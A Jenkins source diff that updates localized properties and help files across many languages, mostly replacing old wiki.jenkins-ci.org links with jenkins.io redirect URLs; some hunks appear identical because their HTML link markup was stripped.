\u4e0a\u6709\u4f5c\u6cd5\u8aaa\u660e\u3002 JENKINS_HOME\ is\ almost\ full=JENKINS_HOME \u5feb\u6eff\u4e86 diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart.properties index 31eae4527a..f732713a51 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart.properties @@ -22,4 +22,4 @@ blurb=You should be taken automatically to the new Jenkins in a few seconds. \ If for some reason the service fails to start, please check the Windows event log for errors and consult the wiki page \ - located at the official wiki. + located at the official wiki. diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_de.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_de.properties index 382bf6e7d7..fe3165afa5 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_de.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_de.properties @@ -1,4 +1,4 @@ Please\ wait\ while\ Jenkins\ is\ restarting=Bitte warten Sie, während Jenkins neu gestartet wird blurb=Sie sollten automatisch in wenigen Sekunden auf die neue Jenkins-Instanz weitergeleitet werden. \ Sollte der Windows-Dienst nicht starten, suchen Sie im Windows Ereignisprotokoll nach Fehlermeldungen und lesen Sie \ - weitere Hinweise im Wiki. + weitere Hinweise im Wiki. diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_es.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_es.properties index c9a35d1d85..492e81a8d7 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_es.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_es.properties @@ -22,5 +22,5 @@ blurb=Serás redirigido automáticamente al nuevo Jenkins en unos segundos. \ Si por alguna razón el servicio falla, consulta el ''log'' de eventos de windows \ - y echa un vistazo a esta página. + y echa un vistazo a esta página. Please\ wait\ while\ Jenkins\ is\ restarting=Por favor espera mientras Jenkins es reiniciado diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_fr.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_fr.properties index ca363550e7..acc033e4e1 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_fr.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_fr.properties @@ -25,4 +25,4 @@ blurb=Vous devriez \u00EAtre emmen\u00E9 automatiquement vers la nouvelle instan de Jenkins dans quelques secondes. \ Si par hasard le service ne parvient pas \u00E0 se lancer, v\u00E9rifiez les logs \ d''\u00E9v\u00E8nements Windows et consultez \ - la page wiki. + la page wiki. diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_ja.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_ja.properties index bf99973183..9ffc93da4f 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_ja.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_ja.properties @@ -22,5 +22,5 @@ blurb=\u6570\u79D2\u3067\u81EA\u52D5\u7684\u306B\u65B0\u3057\u3044Jenkins\u306B\u63A5\u7D9A\u3057\u307E\u3059\u3002\ \u3082\u3057\u3001\u4F55\u3089\u304B\u306E\u7406\u7531\u3067\u30B5\u30FC\u30D3\u30B9\u306E\u958B\u59CB\u306B\u5931\u6557\u3059\u308B\u5834\u5408\u306F\u3001Windows\u306E\u30A4\u30D9\u30F3\u30C8\u30ED\u30B0\u306B\u30A8\u30E9\u30FC\u304C\u306A\u3044\u304B\u78BA\u8A8D\u3057\u3066\u3001\ - Wiki\u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 + Wiki\u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 Please\ wait\ while\ Jenkins\ is\ restarting=Jenkins\u3092\u518D\u8D77\u52D5\u3057\u307E\u3059\u306E\u3067\u3001\u3057\u3070\u3089\u304F\u304A\u5F85\u3061\u304F\u3060\u3055\u3044\u3002 diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_nl.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_nl.properties index 68ff9a6c13..a0c11bc5f6 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_nl.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_nl.properties @@ -24,4 +24,4 @@ Please\ wait\ while\ Jenkins\ is\ restarting=Gelieve even te wachten. Jenkins wo blurb=Uw nieuwe Jenkins instantie zou automatisch geladen moeten worden. \ Indien de service niet gestart raakt, kunt U er best de Windows event log op nakijken. \ Eventueel kunt U ook wat meer info over typische problemen en hun oplossingen terugvinden op \ - de online wiki pagina. + de online wiki pagina. diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_pt_BR.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_pt_BR.properties index a26457988f..eed23b1afc 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_pt_BR.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_pt_BR.properties @@ -23,7 +23,7 @@ Please\ wait\ while\ Jenkins\ is\ restarting= Por favor aguarde enquanto o Jenkins reinicia # You should be taken automatically to the new Jenkins in a few seconds. \ # If for some reasons the service fails to start, check Windows event log for errors and consult \ -# online wiki page. +# online wiki page. blurb=Voc\u00ea deve ser levado ao Jenkins em poucos instantes. \ Se por alguma raz\u00e3o o servi\u00e7o falhar na inicializa\u00e7\u00e3o, verifique o log de eventos \ diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_sr.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_sr.properties index 3452bbb3e2..90525524fe 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_sr.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_sr.properties @@ -2,4 +2,4 @@ Please\ wait\ while\ Jenkins\ is\ restarting=\u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u0441\u0430\u0447\u0435\u043A\u0430\u0458\u0442\u0435 \u0434\u043E\u043A \u0441\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0435 Jenkins blurb=\u0411\u0438\u045B\u0435\u0442\u0435 \u043C\u043E\u043C\u0435\u043D\u0442\u0430\u043B\u043D\u043E \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u0438 \u043D\u0430\u0432\u0435\u0441\u0442\u0438 \u043D\u0430 Jenkins.\ -\u0410\u043A\u043E \u0438\u0437 \u043D\u0435\u043A\u043E\u0433 \u0440\u0430\u0437\u043B\u043E\u0433\u0430 \u0441\u0435\u0440\u0432\u0438\u0441 \u043D\u0435 \u0440\u0430\u0434\u0438, \u043F\u0440\u043E\u0432\u0435\u0440\u0438\u0442\u0435 Windows \u0436\u0443\u0440\u043D\u0430\u043B \u0434\u043E\u0433\u0430\u0452\u0430\u0458\u0430 \u043D\u0430 \u0433\u0440\u0435\u0448\u043A\u0435 \u0438\u043B\u0438 \u0441\u0435 \u043E\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0412\u0438\u043A\u0438 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0438 <\u0430 href="http://wiki.jenkins-ci.org/display/JENKINS/Jenkins+windows+service+fails+to+start"">\u0437\u0432\u0430\u043D\u0438\u0447\u043D\u043E\u0433 \u0412\u0438\u043A\u0438. +\u0410\u043A\u043E \u0438\u0437 \u043D\u0435\u043A\u043E\u0433 \u0440\u0430\u0437\u043B\u043E\u0433\u0430 \u0441\u0435\u0440\u0432\u0438\u0441 \u043D\u0435 \u0440\u0430\u0434\u0438, \u043F\u0440\u043E\u0432\u0435\u0440\u0438\u0442\u0435 Windows \u0436\u0443\u0440\u043D\u0430\u043B \u0434\u043E\u0433\u0430\u0452\u0430\u0458\u0430 \u043D\u0430 \u0433\u0440\u0435\u0448\u043A\u0435 \u0438\u043B\u0438 \u0441\u0435 \u043E\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0412\u0438\u043A\u0438 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0438 <\u0430 href="https://jenkins.io/redirect/troubleshooting/windows-service-fails-to-start"">\u0437\u0432\u0430\u043D\u0438\u0447\u043D\u043E\u0433 \u0412\u0438\u043A\u0438. diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_zh_TW.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_zh_TW.properties index c927aebac9..71355c449f 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_zh_TW.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_zh_TW.properties @@ -21,6 +21,6 @@ # THE SOFTWARE. blurb=\u5e7e\u79d2\u5f8c\u60a8\u5c31\u6703\u88ab\u5e36\u5230\u65b0\u7684 Jenkins \u88e1\u3002\ - \u5982\u679c\u670d\u52d9\u7121\u6cd5\u555f\u52d5\uff0c\u8acb\u6aa2\u67e5 Windows \u4e8b\u4ef6\u65e5\u8a8c\uff0c\u4e26\u53c3\u8003\u7dda\u4e0a Wiki \u5c08\u9801\u3002 + \u5982\u679c\u670d\u52d9\u7121\u6cd5\u555f\u52d5\uff0c\u8acb\u6aa2\u67e5 Windows \u4e8b\u4ef6\u65e5\u8a8c\uff0c\u4e26\u53c3\u8003\u7dda\u4e0a Wiki \u5c08\u9801\u3002 Please\ wait\ while\ Jenkins\ is\ restarting=Jenkins \u91cd\u65b0\u555f\u52d5\u4e2d\uff0c\u8acb\u7a0d\u5019 diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/index.jelly b/core/src/main/resources/hudson/logging/LogRecorderManager/index.jelly index e188caed69..1eb55cf888 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/index.jelly +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/index.jelly @@ -32,7 +32,7 @@ THE SOFTWARE.

                                                    ${%Log Recorders} - +

                                                    diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels.properties index 4f02f7ea2c..11646ee275 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels.properties @@ -20,6 +20,6 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -url=http://wiki.jenkins-ci.org//x/YYI5Ag +url=https://jenkins.io/redirect/log-levels defaultLoggerMsg=Logger with no name is the default logger. \ This level will be inherited by all loggers without a configured level. diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_da.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_da.properties index bf0d0c2d86..4b02925256 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_da.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_da.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. Level=Niveau -url=http://wiki.jenkins-ci.org/display/JENKINS/Logger+Configuration +url=https://jenkins.io/redirect/log-levels defaultLoggerMsg=Unavngiven logger er standardlogger. \ Dette niveau vil nedarve til alle loggere uden et konfigurationsniveau. Name=Navn diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_de.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_de.properties index f84c727878..1a8a389aec 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_de.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_de.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. Logger\ Configuration=Logger-Konfiguration -url=http://wiki.jenkins-ci.org/display/JENKINS/Logger+Configuration +url=https://jenkins.io/redirect/log-levels Name=Name Level=Priorität Submit=Übernehmen diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_es.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_es.properties index f3fdddd73c..aa803dda35 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_es.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_es.properties @@ -20,7 +20,7 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -url=http://wiki.jenkins-ci.org/display/JENKINS/Logger+Configuration +url=https://jenkins.io/redirect/log-levels Level=Nivel de log Logger\ Configuration=Configuración del logger Submit=Enviar diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_fr.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_fr.properties index 10e3d012fc..c30bb5735a 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_fr.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_fr.properties @@ -24,4 +24,4 @@ Logger\ Configuration=Configuration du logger Name=Nom Level=Niveau Submit=Envoyer -url=http://wiki.jenkins-ci.org/display/JENKINS/Logger+Configuration +url=https://jenkins.io/redirect/log-levels diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_it.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_it.properties index 3450c5a729..a455ea1aa5 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_it.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_it.properties @@ -6,4 +6,4 @@ Logger\ Configuration=Configurazione registro Name=Nome Submit=Invia defaultLoggerMsg=Il registro senza nome \u00E8 quello predefinito. Questo livello sar\u00E0 ereditato da tutti i registri senza un livello configurato. -url=http://wiki.jenkins-ci.org//x/YYI5Ag +url=https://jenkins.io/redirect/log-levels diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ja.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ja.properties index ab204e41ff..2f8444273b 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ja.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ja.properties @@ -24,7 +24,7 @@ Logger\ Configuration=\u30ED\u30AC\u30FC\u306E\u8A2D\u5B9A Name=\u540D\u524D Level=\u30EC\u30D9\u30EB Submit=\u767B\u9332 -url=http://wiki.jenkins-ci.org/display/JA/Logger+Configuration +url=https://jenkins.io/redirect/log-levels defaultLoggerMsg=\u540D\u524D\u304C\u306A\u3044\u30ED\u30AC\u30FC\u306F\u30C7\u30D5\u30A9\u30EB\u30C8\u306E\u30ED\u30AC\u30FC\u3067\u3059\u3002\ \u30C7\u30D5\u30A9\u30EB\u30C8\u306E\u30ED\u30AC\u30FC\u306E\u30EC\u30D9\u30EB\u306F\u3001\u8A2D\u5B9A\u3057\u306A\u304F\u3066\u3082\u5168\u3066\u306E\u30ED\u30AC\u30FC\u306B\u5F15\u304D\u7D99\u304C\u308C\u307E\u3059\u3002 Adjust\ Levels=\u30EC\u30D9\u30EB\u306E\u8ABF\u6574 diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ko.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ko.properties index b2ae008852..bc7562a493 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ko.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ko.properties @@ -6,4 +6,4 @@ Logger\ Configuration=\uB85C\uAC70 \uC124\uC815 Name=\uC774\uB984 Submit=\uC81C\uCD9C defaultLoggerMsg=\uC774\uB984\uC774 \uC5C6\uB294 Logger\uB294 \uAE30\uBCF8 Logger\uC785\uB2C8\uB2E4. \uB808\uBCA8\uC774 \uC124\uC815\uB418\uC9C0 \uC54A\uC740 \uBAA8\uB4E0 Logger\uB4E4\uC740 \uC774 \uB808\uBCA8\uC744 \uC0C1\uC18D\uD569\uB2C8\uB2E4. -url=http://wiki.jenkins-ci.org//x/YYI5Ag +url=https://jenkins.io/redirect/log-levels diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt.properties index 0aa78bd338..9863626db1 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. Adjust\ Levels=Ajustar n\u00edveis -url=http://wiki.jenkins-ci.org//x/YYI5Ag +url=https://jenkins.io/redirect/log-levels Submit=Enviar Logger\ Configuration=Configura\u00e7\u00e3o de logger defaultLoggerMsg=Um logger sem nome ser\u00e1 o logger padr\u00e3o. Esse n\u00edvel ser\u00e1 herdado por todos os loggers sem um n\u00edvel configurado. diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt_BR.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt_BR.properties index d82fb50219..6be5520595 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt_BR.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt_BR.properties @@ -28,5 +28,5 @@ Name=Nome Adjust\ Levels=Ajustar os n\u00edveis Submit=Enviar Logger\ Configuration=Configura\u00e7\u00e3o do Logger -# http://wiki.jenkins-ci.org//x/YYI5Ag -url=http://wiki.jenkins-ci.org//x/YYI5Ag +# https://jenkins.io/redirect/log-levels +url=https://jenkins.io/redirect/log-levels diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ru.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ru.properties index 1e6b31ab33..b156024d81 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ru.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ru.properties @@ -26,4 +26,4 @@ Logger\ Configuration=\u041A\u043E\u043D\u0444\u0438\u0433\u0443\u0440\u0430\u04 Name=\u041D\u0430\u0438\u043C\u0435\u043D\u043E\u0432\u0430\u043D\u0438\u0435 Submit=\u0421\u043E\u0445\u0440\u0430\u043D\u0438\u0442\u044C defaultLoggerMsg=\u0416\u0443\u0440\u043D\u0430\u043B \u0431\u0435\u0437 \u0438\u043C\u0435\u043D\u0438 \u0438\u0441\u043F\u043E\u043B\u044C\u0437\u0443\u0435\u0442\u0441\u044F \u043F\u043E-\u0443\u043C\u043E\u043B\u0447\u0430\u043D\u0438\u044E. \u0423\u0440\u043E\u0432\u0435\u043D\u044C \u0436\u0443\u0440\u043D\u0430\u043B\u0438\u0440\u043E\u0432\u0430\u043D\u0438\u044F \u0437\u0430\u0434\u0430\u043D\u043D\u044B\u0439 \u0434\u043B\u044F \u043D\u0435\u0433\u043E \u043D\u0430\u0441\u043B\u0435\u0434\u0443\u0435\u0442\u0441\u044F \u0432\u0441\u0435\u043C\u0438 \u0436\u0443\u0440\u043D\u0430\u043B\u0430\u043C\u0438, \u0434\u043B\u044F \u043A\u043E\u0442\u043E\u0440\u044B\u0445 \u0443\u0440\u043E\u0432\u0435\u043D\u044C \u0436\u0443\u0440\u043D\u0430\u043B\u0438\u0440\u043E\u0432\u0430\u043D\u0438\u044F \u043D\u0435 \u0437\u0430\u0434\u0430\u043D. -url=http://wiki.jenkins-ci.org/display/JENKINS/Logger+Configuration +url=https://jenkins.io/redirect/log-levels diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_sr.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_sr.properties index 2030984d1c..059a02ebf2 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_sr.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_sr.properties @@ -1,7 +1,7 @@ # This file is under the MIT License by authors Logger\ Configuration=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0436\u0443\u0440\u043D\u0430\u043B\u043E\u0432\u0430\u045A\u0430 -url=http://wiki.jenkins-ci.org/display/JENKINS/Logger+Configuration +url=https://jenkins.io/redirect/log-levels Name=\u0418\u043C\u0435 Level=\u041D\u0438\u0432\u043E defaultLoggerMsg=\u041F\u0440\u0435\u043F\u0438\u0441\u0438\u0432\u0430\u0447 \u0431\u0435\u0437 \u0438\u043C\u0435\u043D\u0430 \u0458\u0435 \u0441\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u0438 \u043F\u0440\u0435\u043F\u0438\u0441\u0438\u0432\u0430\u0447. \u0422\u0430\u0458 \u043D\u0438\u0432\u043E \u045B\u0435 \u0432\u0438\u0442\u0438 \u043D\u0430\u0441\u043B\u0435\u0452\u0435\u043D diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_zh_TW.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_zh_TW.properties index 1a573b548f..1ac8df73eb 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_zh_TW.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_zh_TW.properties @@ -26,4 +26,4 @@ Logger\ Configuration=\u8a18\u9304\u5668\u8a2d\u5b9a Name=\u540d\u7a31 Submit=\u9001\u51fa defaultLoggerMsg=\u6c92\u6709\u540d\u7a31\u7684\u8a18\u9304\u5668\u5c31\u662f\u9810\u8a2d\u8a18\u9304\u5668\u3002\u5b83\u7684\u7b49\u7d1a\u6703\u88ab\u6240\u6709\u6c92\u6709\u6307\u5b9a\u7b49\u7d1a\u7684\u8a18\u9304\u5668\u7e7c\u627f\u3002 -url=http://wiki.jenkins-ci.org//x/YYI5Ag +url=https://jenkins.io/redirect/log-levels diff --git a/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html b/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html index 1f30835c57..c97987cd23 100644 --- a/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html +++ b/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html @@ -30,7 +30,7 @@ Jenkins. For example, "hudson.slaves.WorkspaceList=-" would change the separator to a hyphen.
                                                    For more information on setting system properties, see the wiki page.

                                                    However, if you enable the Use custom workspace option, all builds will diff --git a/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild_bg.html b/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild_bg.html index 191bee10f3..1960aa25cb 100644 --- a/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild_bg.html +++ b/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild_bg.html @@ -33,7 +33,7 @@ Jenkins. For example, "hudson.slaves.WorkspaceList=-" would change the separator to a hyphen.
                                                    For more information on setting system properties, see the wiki page.

                                                    However, if you enable the Use custom workspace option, all builds will diff --git a/core/src/main/resources/hudson/model/Api/index.jelly b/core/src/main/resources/hudson/model/Api/index.jelly index 18b003dd4e..962c9ea6b7 100644 --- a/core/src/main/resources/hudson/model/Api/index.jelly +++ b/core/src/main/resources/hudson/model/Api/index.jelly @@ -100,7 +100,7 @@ THE SOFTWARE.

                                                    For more information about remote API in Jenkins, see - the documentation. + the documentation.

                                                    Controlling the amount of data you fetch

                                                    diff --git a/core/src/main/resources/hudson/model/Messages.properties b/core/src/main/resources/hudson/model/Messages.properties index 952a15641f..6e368ab931 100644 --- a/core/src/main/resources/hudson/model/Messages.properties +++ b/core/src/main/resources/hudson/model/Messages.properties @@ -149,8 +149,8 @@ Hudson.NotANegativeNumber=Not a negative number Hudson.NotUsesUTF8ToDecodeURL=\ Your container doesn\u2019t use UTF-8 to decode URLs. If you use non-ASCII characters as a job name etc, \ this will cause problems. \ - See Containers and \ - Tomcat i18n for more details. + See Containers and \ + Tomcat i18n for more details. Hudson.AdministerPermission.Description=\ This permission grants the ability to make system-wide configuration changes, \ as well as perform highly sensitive operations that amounts to full local system access \ diff --git a/core/src/main/resources/hudson/model/Messages_bg.properties b/core/src/main/resources/hudson/model/Messages_bg.properties index ce334d720b..7bfea657a2 100644 --- a/core/src/main/resources/hudson/model/Messages_bg.properties +++ b/core/src/main/resources/hudson/model/Messages_bg.properties @@ -221,9 +221,9 @@ Hudson.NotUsesUTF8ToDecodeURL=\ \u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044a\u0442 \u0437\u0430 \u0441\u044a\u0440\u0432\u043b\u0435\u0442\u0438 \u043d\u0435 \u0438\u0437\u043f\u043e\u043b\u0437\u0432\u0430 UTF-8 \u0437\u0430 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441\u0438. \u0417\u043d\u0430\u0446\u0438\ \u0438\u0437\u0432\u044a\u043d ASCII \u0432 \u0438\u043c\u0435\u043d\u0430\u0442\u0430 \u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 \u0434\u0440. \u0449\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044f\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0438. \u0417\u0430 \u043f\u043e\u0432\u0435\u0447\u0435\ \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u043e\u0433\u043b\u0435\u0434\u043d\u0435\u0442\u0435\ - \u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0438\ + \u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0438\ \u0438\ - \ + \ \u0418\u043d\u0442\u0435\u0440\u043d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043d\u0430 Tomcat. Hudson.AdministerPermission.Description=\ \u0422\u043e\u0432\u0430 \u0434\u0430\u0432\u0430 \u043f\u0440\u0430\u0432\u043e \u0437\u0430 \u043f\u0440\u043e\u043c\u044f\u043d\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0438\u0442\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u043a\u0430\u043a\u0442\u043e \u0438 \u043f\u044a\u043b\u0435\u043d \u0434\u043e\u0441\u0442\u044a\u043f \u0434\u043e\ diff --git a/core/src/main/resources/hudson/model/Messages_de.properties b/core/src/main/resources/hudson/model/Messages_de.properties index 24789d48a8..f20b64671e 100644 --- a/core/src/main/resources/hudson/model/Messages_de.properties +++ b/core/src/main/resources/hudson/model/Messages_de.properties @@ -118,8 +118,8 @@ Hudson.NotANegativeNumber=Keine negative Zahl. Hudson.NotUsesUTF8ToDecodeURL=\ Ihr Container verwendet kein UTF-8, um URLs zu dekodieren. Falls Sie Nicht-ASCII-Zeichen \ in Jobnamen usw. verwenden, kann dies Probleme mit sich bringen. Beachten Sie bitte die Hinweise zu \ - Containern bzw. \ - Tomcat i18N). + Containern bzw. \ + Tomcat i18N). Hudson.AdministerPermission.Description=\ Dieses Recht erlaubt systemweite Konfigurations\u00e4nderungen, sowie sensitive Operationen \ die vollst\u00e4ndigen Zugriff auf das lokale Dateisystem bieten (in den Grenzen des \ diff --git a/core/src/main/resources/hudson/model/Messages_es.properties b/core/src/main/resources/hudson/model/Messages_es.properties index d1f693619d..47f01fc331 100644 --- a/core/src/main/resources/hudson/model/Messages_es.properties +++ b/core/src/main/resources/hudson/model/Messages_es.properties @@ -99,8 +99,8 @@ Hudson.NotANegativeNumber=No es un n\u00famero negativo Hudson.NotUsesUTF8ToDecodeURL=\ El contenedor de servlets no usa UTF-8 para decodificar URLs. Esto causar\u00e1 problemas si se usan nombres \ con caracteres no ASCII. Echa un vistazo a \ - Containers y a \ - Tomcat i18n para mas detalles. + Containers y a \ + Tomcat i18n para mas detalles. Hudson.AdministerPermission.Description=\ Este permiso garantiza la posibilidad de hacer cambios de configuraci\u00f3n en el sistema, \ as\u00ed como el realizar operaciones sobre el sistema de archivos local. \ diff --git a/core/src/main/resources/hudson/model/Messages_fr.properties b/core/src/main/resources/hudson/model/Messages_fr.properties index 30e1b2e65b..d1ded2fc0f 100644 --- a/core/src/main/resources/hudson/model/Messages_fr.properties +++ b/core/src/main/resources/hudson/model/Messages_fr.properties @@ -79,8 +79,8 @@ Hudson.NotANegativeNumber=Ceci n''est pas un nombre n\u00e9gatif Hudson.NotUsesUTF8ToDecodeURL=\ Votre conteneur n''utilise pas UTF-8 pour d\u00e9coder les URLs. Si vous utilisez des caract\u00e8res non-ASCII \ dans le nom d''un job ou autre, cela causera des probl\u00e8mes. \ - Consultez les pages sur les conteneurs et \ - sur Tomcat i18n pour plus de d\u00e9tails. + Consultez les pages sur les conteneurs et \ + sur Tomcat i18n pour plus de d\u00e9tails. Hudson.AdministerPermission.Description=\ Ce droit permet de faire des changements de configuration au niveau de tout le syst\u00e8me, \ et de r\u00e9aliser des op\u00e9rations tr\u00e8s d\u00e9licates qui n\u00e9cessitent un acc\u00e8s complet \u00e0 tout le syst\u00e8me \ diff --git a/core/src/main/resources/hudson/model/Messages_it.properties b/core/src/main/resources/hudson/model/Messages_it.properties index 8458a59a89..3b7bbdf392 100644 --- a/core/src/main/resources/hudson/model/Messages_it.properties +++ b/core/src/main/resources/hudson/model/Messages_it.properties @@ -107,8 +107,8 @@ Hudson.NotANegativeNumber=Non \u00e8 un numero negativo Hudson.NotUsesUTF8ToDecodeURL=\ Your container doesn''t use UTF-8 to decode URLs. If you use non-ASCII characters as a job name etc, \ this will cause problems. \ - See Containers and 